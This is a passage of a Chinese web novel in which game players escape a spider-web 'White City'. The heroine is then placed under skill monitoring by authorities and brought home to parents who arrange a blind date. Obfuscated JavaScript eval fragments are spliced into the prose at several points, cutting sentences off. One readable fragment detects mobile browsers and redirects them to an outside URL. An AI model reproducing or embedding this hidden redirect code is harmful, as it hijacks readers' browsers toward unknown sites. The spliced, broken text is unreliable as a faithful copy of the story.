这时,唐瑜妡勉强被扶上轮椅,像是心有灵犀一样知道她想找什么,“灯下黑。” 她展开高羽函垂在何芝腰间的拳头,从里面抽出两张纸——恰好都是何芝给的两张,其中一张已经有了新的字迹。 【找高地】 “所以,我们现在先不下去?”唐瑜妡挥手让“手工雕”消失,一直维持技能很消耗精神力,尤其是有噪音干扰,她能坚持的时间更短,现在已经有些勉强了,“头顶那个是林屿吗?” 何芝回神,和聪明人交流很省心力,她不需要解释来龙去脉,于是点了个头,“嗯,她现在在现实。” 唐瑜妡眯起眼,忽然笑了,“我说白城这地方怎么也能用‘建模’……原来和副本半斤八两,所以我们玩家一直以为是现实的地方,也是假得不能再假的‘游戏中’。” 就在两人谈话间,原本追着蚂蚁打的白蛛终于回防,仗着那头看不见,有一只成功地在指头上咬下一口,瞬间让原主痛得缩回了手。 何芝吸了口气,沉肃地说道:“我们得帮她。” 于是小鸟叼着石头炸弹,飞出去源源不断地轰炸怪兽了。 那头,林屿被叮了一下,右手瞬间就麻了,而这时白蛛也四面八方地“上网”,往她这里聚。林屿嘶了一声,“给予”不停,把靠近的通通送进水底,手上也加大力道,终于弄了个西瓜大的口子。 其实原本她想的是破坏蛛网,然而这东西不知有多少层,牢固得拽都拽不大动,林屿还想过用自己的体重压垮它,但害怕就这样“自投罗网”被粘在上面包圆了当饮料,遂留下这条小命想了另外的办法。 她怀疑,这个破口的地方对应白塔,于是试着扯了扯,没想到真的把手伸进了看不见的地方,还被叮了一口毒。 这下十分肯定,林屿一边往远处飞了点,一边拿出传信纸,看见何芝的回话。 【怎么配合你】 林屿看着试图跳她身上的白蛛,一瓶罐扫过那些悄悄咪咪吐来粘她的丝,直接挂了一堆“蛛帘”在瓶底,又躲过头顶往下吊的炸弹们,瓶底一甩,直接让两方的丝线交叉缠绕,最后缀成一个“蛛球”。 “没办法了,被叮就被叮吧,反正毒不死人。”林屿喃喃自语地劝慰一句,写下一句话。随后,她开始四处游走,把白蛛的主力溜得远远的,然后立刻飞回破口,弄走留守的蜘蛛。 何芝在收到回信之后立刻联络韩舒和孙覃,让他们找个火技能者过来,同时让杨紫陶离开副本回来。几人就在天台等,刚刚何芝两人配合杀掉了一只白蛛,本来还剩三只,但后面又跑进来几只,可她们的精神力几乎用尽了。 何芝看着烟尘四起的白城,不自责是不可能的,她甚至有些后悔自己的冒险举措,明明是为了救人出去,却导致更大的混乱。 而混乱是会受伤死人的。 “不要多想。”唐瑜妡忽然出声,“你说林屿回到现实里了,但她肯定没走到大街上去,我是说,她还在白蛛老巢——那她是怎么发现我们位置的呢?” 她不等何芝反应救自问自答,“烧焦的地方,说不定在外面也一样是焦的,才让她对应上。如果在她出去时我们没烧白塔,她肯定不知道我们在这,运气好逃出去了,组织搜救时那边也不知道怎么救人,万一恰好把白城的载体给毁了,让我们稀里糊涂地流放在虚空里,或者直接跟载体一起完蛋,那时候又该怎么办?” 她说的都是猜测,但并非空穴来风,林屿在外能伸手进来,说明白城必然依附在某个实体之上,这个实体是什么基本上都有数:蜘蛛网。 唐瑜妡说得很对,搜救者到来之后大概率会随手扫掉这些网,而毁网的后果根本无法预测,虽然有概率直接回到现实,但有更大的概率跟白城一起完蛋。 何芝嘴唇动了动,似乎想感谢她的开解,但前阵子才和这个人针锋相对,一时有些温柔不起来,这时,一阵风撩起她的发丝。 白城原本是没有风的,现在却有一股气流从天空漏进来,带着一股陈旧的泥土味,是潮湿的,也是自由的。 一个金属色的圆柱从天上的口子露了一个底,山一样压下,露出花花绿绿写满使用说明的身子。那几只白蛛一见有东西立刻激动地跳过去咬,随后被硬邦邦的金属咯了牙。这时,一个巨大的脑袋探进来,眼睛一动,找准蜘蛛的位置立刻啪啪几下,把它们拍成爆浆扁圆,十几米高的巨兽就这样丧命于天神法器之下,看得人目瞪口呆。 处理好干扰因素,头就缩回去,“法器”也撤了,留下一只平摊向上的手,这时何芝反应过来,连忙写字联络。 林屿伸了一会儿手,感觉掌心痒痒的,像是有很多虫子在爬,忍了又忍,差点没忍住去挠。好不容易等到回信,她连忙往回收,这时蜘蛛又围过来了,像是怎么也甩不掉的前任一样阴魂不散。 手掌一离开蛛网,立刻被几百斤重物压垮,“噗通”几声,那些乘顺风车的人纷纷坠湖,空间里响起一片惊呼叫骂。 林屿等人上岸,立刻说道:“网连着白城,你们烧几个洞,别烧光了!注意别让蜘蛛靠近!” 她让何芝找了火技能者,就是为了把人全部救出来,“别被咬,会麻痹!” 庄建也在被送来的技能者之中,他最先反应过来,立刻照做,从不同角度在好几米高的漏斗蛛网上开洞,这下林屿不用怕被白蛛包围,随时可以打游击接人离开。其余几人看见密密麻麻的蜘蛛,或许有了白城巨怪的铺垫,竟也没怎么被吓到,甚至有种翻身报仇的爽快感,开始做火烤白蛛这道料理。 等回到现实的技能者们越来越多,甚至能背靠背圈出一个防御圈时,那些蜘蛛似乎终于意识到两方力量的失衡,原本占尽优势的狩猎已经沦落下风,凶残的两脚兽们一个接一个无穷无尽,于是遵从本能开始撤退——它们本就不是什么凶猛的变异动物,长这么大个连毒液都不致命,只不过能结出特殊的蛛网。 林屿的眼神像X光一样扫来扫去,盯紧了撤退的白蛛,终于功夫不负有心人发现被掩护的蜘蛛首领。她手一指,攻击立刻落下去,然而几十个护卫立刻换位,用身躯组成严的护盾,将首领牢牢护住,风驰电掣地从一个不起眼的出口撤走了。 首领离开后,剩下的蜘蛛跑的跑,散的散,被追着烤了几轮之后看不到活的了,这下,威胁尽除,所有人都松了一口气。 林屿立刻招呼众人开始往现实送人,何芝很快组织起白城的人手,让杨紫陶离开副本到现实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过想吃其它的她也没有,东西都是在出来之前用积分换的,不多,基本上都是分给伤员的,林屿能分这么大一块是何芝特批——感谢她带来的希望与自由。 不过希望和自由的使者却一脸心事重重,孟锦竹以为她不舒服,摸了摸林屿的额头,摸到一手滴水的头发,恍然惊觉道:“哎呀,疏忽了!走走走,我带你找地方换衣服。” 阴暗水鬼林屿拉住小伙伴,低声道:“不用了,这里没有换衣服的地方,我等救援就好,你手环还有电吗?联系家里了没有?我记得你有只金毛狗……” “啊我的发财!”孟锦竹听到“不可忽视”话题,立刻滔滔不绝起来,“发财竟然还胖了!我简直不敢相信,爸妈之前明明讨厌养狗的,没想到真香定律永不过时……只是他们反而瘦了,老妈明明最爱美,结果现在那么憔悴……” 她说着,声音逐渐低下去,林屿拍了拍她的肩,安慰道:“你回来了,他们就会好起来了。” “嗯。”孟锦竹红着眼圈,小声问道:“你的手环呢?要不借我的给家里打个电话?” 林屿手一僵,随后缓缓收回来。她出来的时候忘了从系统背包里拿东西,手环便跟着那把匕首一起丢了,但她本来也不想往家里打电话。 这段游戏旅程要说痛苦也确实痛苦,动辄被NPC追着砍,被各式各样的玩家换着花样坑,副本里没什么休息时间,规则变态不说,还时不时出状况,好不容易回到安全区,还得担心会不会吃不上饭睡不好觉,担心公会前途,觉得前路渺茫,时时刻刻都绷着一根弦。 但回到现实有多高兴也说不上,从此又要回到严丝合缝的人生里去,喘不到一口新鲜空气,想要挣脱又处处受阻,感觉活着的每一天都没有任何区别。而且,她还即将被要求履行更多作为女儿的义务,比如奉命结婚什么的。 无处不在的窒闷感漫上鼻腔,将她摁进无法呼吸的深水里,现实是束缚是桎梏,副本是疯癫是自由,她曾手握利器破开人的胸膛和脖颈,也想这样剖开头顶的一片天日。 林屿狠狠甩了甩头,想什么呢,她还有技能,大不了用思想植入慢慢影响他们,远离他们,可……为什么一开始没想到这一点? 孟锦竹轻轻拉了拉她的手臂,“打一个,他们也安心点,我帮你拨号?” 林屿正要转移话题,忽然看到什么东西在闪,立刻起身,然而那东西闪了几下就熄灭,她几乎疑心自己看花了眼。 孟锦竹:“怎么了?” “等一下,马上回来。”林屿把蛋糕给她,抬腿走到蛛网下方,仔细往里面瞧。 此时接人工作已经到了收尾阶段,刚出来的人少了很多,林屿也不怕乱动蛛网了,直接上手撕扯。蛛网上宽下窄,她被咬伤的手脚已经不麻了,想来白蛛的毒对人影响不大,于是没有过于小心,直接把手伸进蛛网最窄的底,从里面捞出个电器出来。 林屿一头雾水地看着手上像平板的东西,就看见它闪烁了几下最后的告急灯光,啪,再也按不亮了。 “你手上拿的什么?”孟锦竹从背后走来,凑近了,忽然惊呼,“翻译器!在哪找到的?” “翻译器?”林屿不太肯定地重复,“这么大?” 孟锦竹已经爱不释手地拿过去,“给动物用的,兼具扫描功能,可以从叫声、肢体语言和微表情分析它们的诉求,总结成文字告诉我们人类,里面有专门的AI,还申请过专利呢!” “给动物用……”林屿慢慢念着,“可以给哪些动物用?” “我以前买了一个,可以分析宠物诉求,不过最新款据说能分析绝大部分动物,从天上飞的到水里游的,也有专一一点的,比如针对哺乳动物、鸟类等等。”孟锦竹兴奋不减,在翻译器上按来按去,试图开机,“咦?好像没电了。” 林屿一耳朵听着她的话,手上不停,继续往蛛网里摸。 这个位置很微妙:巨网是漏斗形的,总感觉像是兜着什么东西;最底端的位置最窄,白蛛首领似乎就是从这里逃出去的,所以此很可能是王座。 王座里只有一个没电的翻译器吗? 林屿一直默不作声,过了一会儿,孟锦竹偏过头,发现她已经歪倒在地上,一只手还留在网兜内,像是困顿到极限睡着了。 106.第一百零六章 “滴答、滴答。” 药物顺着透明的管道流入血管,输液袋换了几轮,病人的体温终于降了下去。 “滴答、滴答。” 林屿头痛欲裂,艰难地掀开上下眼皮,白炽灯、输液架和蓝绿的床帘晃动成天旋地转的重影,各自兜了七八个来回之后才停回原位,脑子早就被搅得一塌糊涂。她胃里一阵翻涌,艰难地撑坐起身。 之前蛛网里…… 一个护士路过病房时抬头望了一眼,顿时瞪圆了眼睛,她飞快合上手中的查房记录,在手环上点了两下。 “24号房……是的……她……” 林屿捂着脑袋,过了好一会儿,浑身的不适感渐渐褪去,她这才后知后觉地感受到手背的吊针,日夜不停输送的液体让整只手臂冰凉僵硬,但那些磕碰来的伤口都被清理干净,贴上了绷带。 我这是……回来了? 白城可没有这医疗条件。 身上已经换了一套干爽的病号服,兜里干净得连脱落线头都没有,传信纸、石头,这两样随身携带的东西想必已经充公。林屿轻轻一闭眼,她再也联系不上那个神秘的外乡来客了,那个小时候救过她的人。 也不知道他现在有没有离开游戏世界。 走廊上的脚步由远及近,林屿把枕头立起,脊背往后一靠,好整以暇地望向门口,看见来人时流露出些许意外。 按照胃的饥饿程度来看,她应该昏迷了好几天,没受伤的玩家应该已经走完流程放归亲人的怀抱了,留下来的大概只剩下她这种需要住院观察的。 “何姐,你也受伤了吗?” 何芝身后跟着一个医生和两个穿正装的陌生面孔,医生上前查看了一眼生理指标,表示没问题,点了点头就走了。 “没受伤。”何芝拉了个椅子坐下,“我特意等你醒。” 林屿适时露出疑惑的表情,余光瞄到两人手中的公文包,心里有了大概的猜测。 游戏里觉醒奇异能力的技能者已经不属于普通受害者,必须特殊对待。 何芝从他们手中接过一份文件,证实了她的猜测,“每个玩家都要签保密协议,技能者还要特殊一些,不仅要签协议,还需要集中观察一段时间……你先看协议。” 林屿心说自己才刚醒,连饭都没吃一口,你们对病号也太push了,手上还是乖乖接过协议。 “嗯……不能对任何人使用技能,不能对任何动物、植物和生命体使用技能……不能在遇到自身生命危险以外的情况下使用技能……若有紧急需要,需配合有关部门行使义务……若有使用技能需要,需向上汇报,征得同意……违反三次以上者将被强制收容……” 她轻声念着,忽然笑了,“会不会太苛刻了,方便日常生活的技能不能用吗?非致命但可能导致伤残的紧急情况也不能用吗?要是亲朋好友有危险,恰好需要用技能救助怎么办?我们是受害者,不是犯人。” 确实不是犯人,但她的态度似乎隐约含着挑衅,跟来的两人或许是经历过其他技能者大吵大闹的反对,条件反射地表露出些许戒备动作,就在林屿以为自己会被斥责时,两人瞄了一眼何芝,终是按捺下来。 两人一个站在门口,一个一直站在病床边观察她,此时开口道:“你觉得哪里不合理?” 林屿随手翻了翻,“别的技能者也是一样的条款吗?你们要怎么监控他们会不会在日常生活中使用技能?所有技能者都不能再用吗,没有例外?” 她合上文件,“如果我不签,又会怎么样?” 门口的男人往里踏了一步,被何芝阻止了,“林屿刚刚醒,身体还很虚弱,思路可能不太理得顺,我们单独谈一会儿。” 床边的人对门口的同伴点了点头,“也行。” 说完两人退了出去。 “何姐,头疼。” 那两个门神一走,林屿就往被子里滑了一截,半合着眼撒娇般地说道:“我晕了多久,肚子好饿。” “少来,你知道每个人都得签。”何芝早就看穿了这货的把戏,原来的公会里最头疼的就是这个看起来最听话的家伙,留下来是心有愧疚,也怕她分不清游戏和现实,做一些引起上面警觉的事。 她定定看了一会儿这个年轻她十多岁的女孩,最终心里一软,起身去门外叫了饭再回来,“你躺了三天,抱歉,我和上面说了你的技能,所以你的条例比别人要严格。” “我的技能?” 飞行、给予,这两个其貌不扬的玩意也能晃花别人的眼,被列入重点防范对象?林屿表示她不明白。 “思想植入。”何芝轻声说道。 林屿一下子僵硬了身体。 她没想过隐瞒,但也没有想过会被如此明确地提出来,变成针对自己的不利条件。 “何姐……”林屿慢慢起身,张了张嘴,却没说出剩下的话。两人对视一会儿,她像是想通了什么,掀开被子,“你专门来一趟肯定是为了别的,我尿急,肚子饿,还很困,只能先等我舒服了才有精力配合你们,能让医生来拔了这玩意吗?” 她指了指手上的输液针。 等病房里只余下海带鸡汤和番茄炒蛋的余韵时,林屿表示可以好好说话了,问道:“所以何姐,你专程等我是为了什么?” 何芝:“你知道自己为什么会昏迷发烧吗?” 血流一瞬往头顶注入,心脏猛跳了两下,搅得呼吸乱了节奏,林屿换了个坐卧的姿势,露出适时的疑惑,“为什么?” 何芝:“蛛网里有一大块‘石头’,你摸到了它,我们还需要仔细测试你的技能。” …… 技能:飞行。 能调整身体周围气流,让空气托起全身重量,以达到空气中前进、上下,以及滞空的效果。 技能效果类似鸟类飞翔,但使用者后背不出现翅翼,速度最快112米每秒,最高高度10680米,最长飞行时间1小时2分钟16秒。 技能:给予(高危)。 发展方向为空间位移、情绪影响和思维植入。 空间位移能将100米内的分离物体任意变换位置,但不会改变物理化学性质,若放置位点已被挤占则位移无法成功。 情绪影响表现为使周围10米内的受试者直接感受自己的情绪,包括但不限于平静、喜悦、愤怒、悲伤等,持续时间与激烈程度相关。 思维植入指能够凭空捏造某个倾向性想法植入人脑,或是增加某个想法的持续时间,以此误导决策,但若想法与被植入者的思维习惯或现实情况差异太大时,被植入的想法也可被察觉和摒弃。(注:此方向具有高社会危害性。) 技能:情绪透视。 能够开启第二视角,看到活人的当前情绪状态、心情波动,可通过明暗判断被识别人的长期心理状态,可看到人死后残余的意识体。 测试花了整整两周,被救出来的伤员也都陆续离开,医院——或者说被临时建起的基地里被剩下的玩家一只手都能数得出来。 她离开“病房”之后,就被安置在基地另一个区域,每个玩家分到一个隔间,布置类似酒店,简约,但一应俱全,在外面这种配制只能说稀松平常,但在这种进出严格的临时安置地,已经算是豪华VIP待遇了。 林屿猜测这是对限制上网的补偿。 如今这个安置点已经寥落无人。 她回到房间,开始考虑自己究竟想要什么。 漫长的测试、隔离病人一样的待遇、一再被推迟的联网权限以及反复进行的心理评估,她已经对自己会被如何定位有了基本的猜测。 前半段过着被规定好的人生,经历过生死危机,极其幸运地活下来,拥有了超自然的力量,却依然无法自主选择接下来的生活。 她对这个结果毫不意外。在何芝说出来的那一刻,她就已经预料到了。 如果没有这个能力,如果没有任何人发现…… 林屿控制着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304957|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去想“如果”,伸出手,摆在厨架上的水杯自动钻进掌心,饮水器里的水面下降一截,她已经抬起手臂准备喝水,左手腕传来一阵突如其来的刺痛感,像是受到电击一样瞬间僵麻。 水杯摔在地上,半面地砖被浸湿成更深的颜色。林屿维持着摔落杯子的姿势,半晌,终于从肩膀开始慢慢活动着肌肉,一步一后退,跌坐在沙发上。 手环弹出消息提示,甚至未经操作就直接投影到手腕上方,鲜红的字体震颤闪烁,滞空停留了十秒钟。 ——【警告】 她一下子明白了。 如何检测是否违规使用技能,这就是答案。就算自己离开这里,也不会被允许取下它。 用技能影响父母,潜移默化改变他们思想的计划还没开始,便宣告破灭。看来是命运不让她用作弊的手段改善生活。 “滴滴。” 又一条消息,林屿按下接通,便听到对方的声音。 “林屿,两小时后到305室,你的技能测试已经结束,离开之前,让我们再来聊一聊。” 是负责疏导获救技能者的心理学专家,黄医生,据说是某知名大学的名誉教授,临床经验丰富,想要回归社会的技能者都需要经过他的评估。 林屿心说自己也走到最后一步了,换了套正式点的衣服,下午四点准时敲响了305的房门。 “请进。”一个穿着灰色毛衣的男人坐在软沙发上,露出亲切的笑容。他看上去只有三四十岁,但只是因为保养得宜,眼角和面部的皱纹总是不经意地出卖岁月风霜。 虽然黄医生既专业又有素养,态度让人如沐春风,但林屿依旧暗暗防备着他。 让别人填写量表的人,掌握着玩家评定权的人,怎么可能真的平易近人。 “喝葡萄汁吗?我喜欢喝这个牌子的,刚刚看到采购物资里有,所以厚着脸皮多要了一盒,尝尝看?”黄医生在纸盒上剪开一个口,紫红色的液体扑通扑通注入玻璃杯,他倒好之后递给林屿一杯。 “谢谢。”林屿客套之后拿在手里,却没有喝,等待他主动问问题。 对方大概也很了解消极对抗是什么,主动开启了话题,“我相信你已经了解了基地给出的选项,可以谈谈你对未来的规划吗?” 林屿:“我打算回去继续上学。” 黄医生:“你决定不使用技能了吗?” 林屿:“是的,不可以这样选吗?” 黄医生笑了,“为什么这样问?你的未来当然由自己选择,自由、规则、梦想、家庭,以及职业规划,你已经深思熟虑过,我相信你已经找出了最优解。” 林屿:“嗯,所以,我什么时候可以离开这里?” 黄医生:“离开之前,让我们再聊一聊那些老生常谈的话题吧,抱歉,这是规定,我其实很讨厌他们那种反反复复的谨小慎微,不过这是你走的最后一个流程了,不如就当成一次轻松的交流,你同样可以向我提问。” 林屿表示自己没有问题,就这样以看似配合实则消极的态度应付了大半天。她大约是让人头疼的那种类型,不过黄医生没有表露出一点不悦和不耐烦,最后温和地说道:“抱歉,虽然之前你已经填过量表,但我仍然多问了几句,你不会介意吧?” “你不相信那些量表?每次我看问题都要花半个小时呢。”林屿刺了一句回去,又觉得不能这样对待掌握着鉴定权的黄医生,找补道,“我是说,我以为量表上的问题已经足够详尽,为什么还要花这么多时间聊天呢?” “和你不相信量表的理由一样,它更多时候只是一个偷懒的借口罢了。”黄医生略带神秘地眨眨眼睛,“每个人因其个性而独一无二,量表却只能把复杂的人归为简单的几类,还不能保证填写人的诚实,如果有人真的相信量表的胡说八道……” 林屿直起身子,不自觉地捏紧玻璃杯。 “那么他就是那个剑掉进水里在船上刻记号找的人——简而言之,是个傻子。” 107.第一百零七章 “等下我送你到市区。”何芝望着基地出口站得笔直的岗哨,隔了一段距离就停下脚步,转过身和林屿面对面,看着她平静得显得死气沉沉的表情,忍不住升起几分担忧,“你爸爸妈妈已经到市区指定地址等你了,他们专程过来等你一起回去,具体情况这边已经解释过了,还是按照新闻报道上的说法——你们遭到绑架,细节上你只要不透露特异能力、变异生物和虚拟世界,都是可以说的,如果还有什么顾虑,可以告诉我吗?” 被隔离半个月好不容易刑满释放的林屿抬了抬手腕,晃了晃特制的手环,“我只想知道这东西会不会监听我说话。” 何芝没料到她会问这个问题,怔愣片刻撩起左手衣袖,露出一模一样的金属光泽,“不会,我问过相关负责人,他们保证特制手环没有任何监听和监视,只多了监测我们是否使用技能一个功能。” “还有阻止我们用技能吧,被电击的感觉真不好受,让我感觉自己是做实验的小白鼠。”林屿话锋一转,“不过何姐应该没有感受过电击,毕竟你选择加入特管部门,可以在允许范围内用技能,不像我,基本上都用不了技能了。” 特管部是这回事件之后紧急成立的一个临时机构,获救的玩家中,像何芝和孙覃等原本在系统内还觉醒了技能的直接被吸收为成员,没有觉醒技能的知情人也有机会加入,大部分技能者都收到了邀请,在苛刻的保密条约对比下,他们中多数都接受了这个选项,只有少部分人坚持回到原本的生活。 林屿就属于这少部分人。 何芝:“在遇到生命危险时……” “遇到生命危险时电击已经不重要了,受点痛算什么,保命最重要,没有监听监控,我可不相信那个时候还来得及申请许可,不得不说,这种管理真有点一刀切。”林屿露出一点嘲讽,又很快收敛,“技能者选择回到过去的生活真就这么罪无可恕,还是只针对我这种特殊技能的人?” 何芝心头“咯噔”一声,像蛋壳掉落在地上撞碎的脆响,从她来到病房以来,到林屿在基地里消极的配合,再到现在空气里隐约的火药,她一直以来忽视的一点终于浮上心头——自己作为被信赖的人,在没有和她本人商量的情况下就迫不及待地向基地透露了技能,以致她一醒来就处于不利的对峙中。 基地负责人先入为主地产生此人危险的印象,互相防范之中,双方的印象越来越恶劣,林屿只能在升级的戒备中咽下缺斤少两的自由。 林屿肯定不再信任自己,但即使是这样,也没有疏远自己。事实上,她在基地里也没什么亲近到可以疏远的人,孤单得连住在隔壁的唐瑜妡都可以聊几句。不过,唐瑜妡比她先一步签订协议离开。 “走吧,跟我来。”何芝指了指基地门口,那里早就停着一辆外观低调朴素的越野车,林屿知道下一步就是上车回市区,也不再多言,与她沉默地并肩而行。 何芝没有在车门边停下,而是带着她走得离大门远了些,随后点了点手环。 “加个好友,我拉你进群。” “进群?”林屿这下真的有些疑惑了。 何芝干脆利落地扫过手环上投影出的二维码,一边找群拉人一边解释,“我们种植者联盟的群,当然,里面也有其他公会的友人。” 林屿刚刚感觉到震动提示,一点开屏幕就被群里接连不断的消息把头皮炸飞了。 小姑娘:“欢迎欢迎,我们的最后一员终于出来啦!” 紫气东来:“撒花撒花,小林子记得来找我,你还记得你对我做过什么吗?我要找你算账~” 我爱发财:“屿!你是额滴神,没有你我可怎么活呀……来我家撸狗,你不知道肥狗的手感有多好!” 石头人:“欢迎回归!” 种菜的:“闺女终于出来啦,有空大家一起来我这里看看,山清水秀风景好。” 蓝蝴蝶:“哇,传奇人物!我姐说要感谢你们,等放假了我来找你!” 函数:“马上就要开学了,你需要上学期公课的笔记吗?我帮你找人借。” …… 消息接连不断地往外冒,屏幕不断向上滚动,把人看得眼花缭乱,她还得分神辨认昵称对应的是谁。 小姑娘……萧谷亮?我去,一个非主流杀马特男生顶着这个谐音昵称真的不违和吗? 紫气东来……一看就是杨紫陶,只有她会这么叫人。 石头人是孙覃,发财是孟锦竹的狗,严开吉太谦虚了竟然自称种菜的,蓝虹蝶,韩舒…… 真好,熟悉的人都在。 就在大家已经开始问她怎么不冒泡,是不是遇到什么困难的时候,林屿手忙脚乱地关闭投影,苦思冥想半晌,回了个“谢谢大家”的表情包,抬头就看见何芝弯着眉眼露出的笑容。 “你为我们做的一切,我们都记在心里,不会忘记,其他玩家也不会忘记。” 林屿一惊,怀疑自己刚才失聪了,不然话题是怎么到这里的,连忙反驳,“我没有,我不是……” 何芝打断她,“我做下的一切,我也不会忘记,无论是以什么立场,无论出发点如何……我很抱歉擅自决定给你造成了不好的影响,可以给我弥补的机会吗?” 她这样坦坦荡荡地说出来,林屿反而无所适从了,抓耳挠腮片刻,终于摆出端正的姿势,正色道:“其实我都明白的,何姐,你是出于职责和信念,所以不会放任我这样的技能不带枷锁地进入社会,就像你是出于职责和信念拉扯起种植者联盟,给公会成员撑起一个安全屋,也给白城边缘的玩家活下去的希望。我享受了因你职责信念而生的安全屋,怎么能反过来斥责你的忠诚?我只是……” 我只是在不知不觉间把你当成亲近的长辈,所以在不被选择的时候超乎情理地难过。 “我只是受够了这破基地的鸟气,被三两天的谈话评测弄得没脾气了而已。”林屿说道。 何芝想起她拒绝基地邀约时说的话: ——“每周两次纸面评测,一次面对面谈话,外勤任务后不低于七天的隔离监测,直到评估过关……我的天,是前期这样还是一直都要这样?一直?会不会太苛刻了点?” ——“说实话,我不喜欢评测,不喜欢各种对隐私的窥探,除非我自己愿意说……好吧,不是隐私,是潜意识,但你们也需要建立信赖关系才能有效果吧,如果我一直不能交付信任呢?会认为我无可救药吗?” ——“想到以后就要过这种生活,我完全不愿意,甚至超过了对不能用技能的不愿意,所以,我选择签署协议。” “评测确实很烦人。”何芝露出理解的苦笑,“但是,以前从没出现过技能者,我们和普通人已经不一样了,这个社会的绝大部分人都是普通人……虽然你我不会伤害别人,但只要有一个技能者有这个想法,对人群来说都非常危险。” 林屿:“能理解。” 接送的越野车缓缓开过来,虽然没有鸣喇叭,却依然像是无声的催促。 何芝:“你还有什么问题问我吗?” 想说的已经说完,芥蒂也已经坦白于光天化日,只等待它逐渐消融,似乎已经没有什么可问的了。 何芝想说常联系,转念一想好友都加了,现在又不是古代,找人随时都能找,想聚会发个消息就够了,自己甚至还能通过上一级权限查到所有技能者的行踪和生命指征,是病了还是身体倍儿棒比他们自己都清楚,于是也没能产生什么离愁别绪,已经准备上车了。 “何姐,你知道我找到的那个翻译器是怎么回事吗?”林屿却忽然出声,问了一个难以回答的问题。 不是里面有什么弯弯绕绕、爱恨情仇,不好回答的原因只有一个,它属于保密内容。何芝只好诚实地告诉她,“这个问题我不能回答。” “那我能猜一猜吗?”林屿没有放弃,“我只说我的猜测,不需要回答,不需要你的任何回应——是白蛛靠着翻译器掌控了所有玩家,对吗? 作为能申请专利的畅销产品,翻译器的功能想必非常优秀,里面的AI想必已经被训练成了专家,能精准识别动物的需求,是养宠人必备的道具。世界上养蜘蛛的不少,或许异宠款翻译器就有蜘蛛专项款,那么它就能识别白蛛的肢体动作,翻译成人能听懂的语言说明。 我问过孟锦竹,她说翻译器的翻译功能提供各种语气选项,甚至还能玩角色扮演,‘命令’语气是可以达到系统通知那种效果的,所以我们是被白蛛用一款翻译器玩了这么久,几个月?最久的是不是在好几年前?” 林屿轻轻地“嘶”了一下,“好多人都死了,真相却这么简单,但是在言教授和你我之前,竟然没有一个人付诸行动地要逃离出去,真是荒谬啊……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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肖芷:“我之前看新闻,看到那些老的小的都已经被救出来了,但我们家的还没个消息,心里急得不行,三天两头往派出所跑,还以为你……我们家就你这一个,要是有个三长两短可怎么办啊!” 林屿耳朵一动,想要倾吐的心声含在口中,耳朵却先一步敏感地捕捉到关键词,“就你这一个”?那要是她有个兄弟姐妹呢?她缓缓靠回座位,换成了大众皆可的说辞,“妈,别担心了,我这不是回来了吗?俗话说大难不死必有后福,你该高兴才对呀!” 林正德绷着脸,颊边法令纹显得愈发深刻,他从失而复得中缓过来之后,便一直是这副模样,活像是别人欠了他几百万一样。 “林屿,你当时是怎么被绑走的,可以给我说说吗?我记得你明明在房间里学习,是什么时候跑出去的?你经常这样阴奉阳违?” 肖芷一听这话不乐意了,扯了丈夫一把,“这个时候说什么呢!女儿才刚刚回来,大家本该一起开开心心的,你要翻旧账也要过两天再说!过两天我陪你一起翻!” 林屿:“……” 她有点心碎。果然,美好都是昙花一现,什么感动什么真情流露,只能在一地鸡零狗碎的缝隙里捞到一点。 他们不大可能自己改变,那她能忍住不使用技能,继续在这样麻木压抑的日常中生活吗? 高铁很快到站,林正德挥手招了一辆车,就这样带着一家人回到了熟悉的地方。林屿拉开卧室门,惊讶地发现自己床铺整理得整整齐齐,书桌上也没有落灰,仿佛自己并没有离开过。 这一看就是母亲的手笔,她勤快、任劳任怨,总是将家务安排得井井有条,心灵上的苦累难以界定,但家中身体上最苦累的一定是她。如果她不是那么冷漠的话——她从不理会女儿的倾诉与表达,并且赞同林正德那一套严酷的教育——林屿一定会亲近她。 林屿将自己甩在床上,隐约听见父母在外面打电话,怀疑他们是在叫外卖,又有些不确定。她了解这两人,他们似乎有什么精神洁癖,绝不肯吃一口“外面”的东西,不得不请客的时候从来都是清汤寡水的养生汤,“外卖”在他们心中跟“地沟油”共用一个代名词:“哕”。 如果她敢点外卖,那么零花钱绝对遭殃,说不定还会受到一周以上的精神攻击(老妈唠叨说吃外卖早死)和物理攻击(父亲皮带伺候说管教不严),所以她早早地戒了往家里点外卖这个行为。 所以这个极端保守堪比清教徒的家里,掌权人会知法犯法,接回受了大苦的女儿之后惦记着她没吃饭而点外卖吗? 过了一会儿,母亲敲响了卧室门。 108.第一百零八章 一家优雅的西餐厅内,食客三两一桌,坐得稀稀落落,盛开的鲜花不经意地摆在桌面窗台,营造出一个个看似“私密”的空间。悠扬的纯音乐漂浮在耳边,压低了食客的交谈声,更显得此间静谧。 是谈情说爱的好地方。 林屿心不在焉地拨弄着刀叉,在心里吐槽着餐厅巨慢无比的上菜速度,胃里唱着空城计,然而她几次伸手拿餐包的动作都被林正德眼神制止,明显在斥责她没礼貌。 饥肠辘辘的林屿在心里翻了个白眼。 来这家餐厅时,她还以为父母为她破了例,良心发现找了家好吃的替她接风洗尘,没想到一来就看到个陌生男人起身迎接,看那俩人对他的亲热态度还以为那是他们儿子。 自己有没有兄弟自己知道,当然不可能是他们儿子,林屿一看这氛围,瞬间心知肚明。 ——拉她相亲来了。 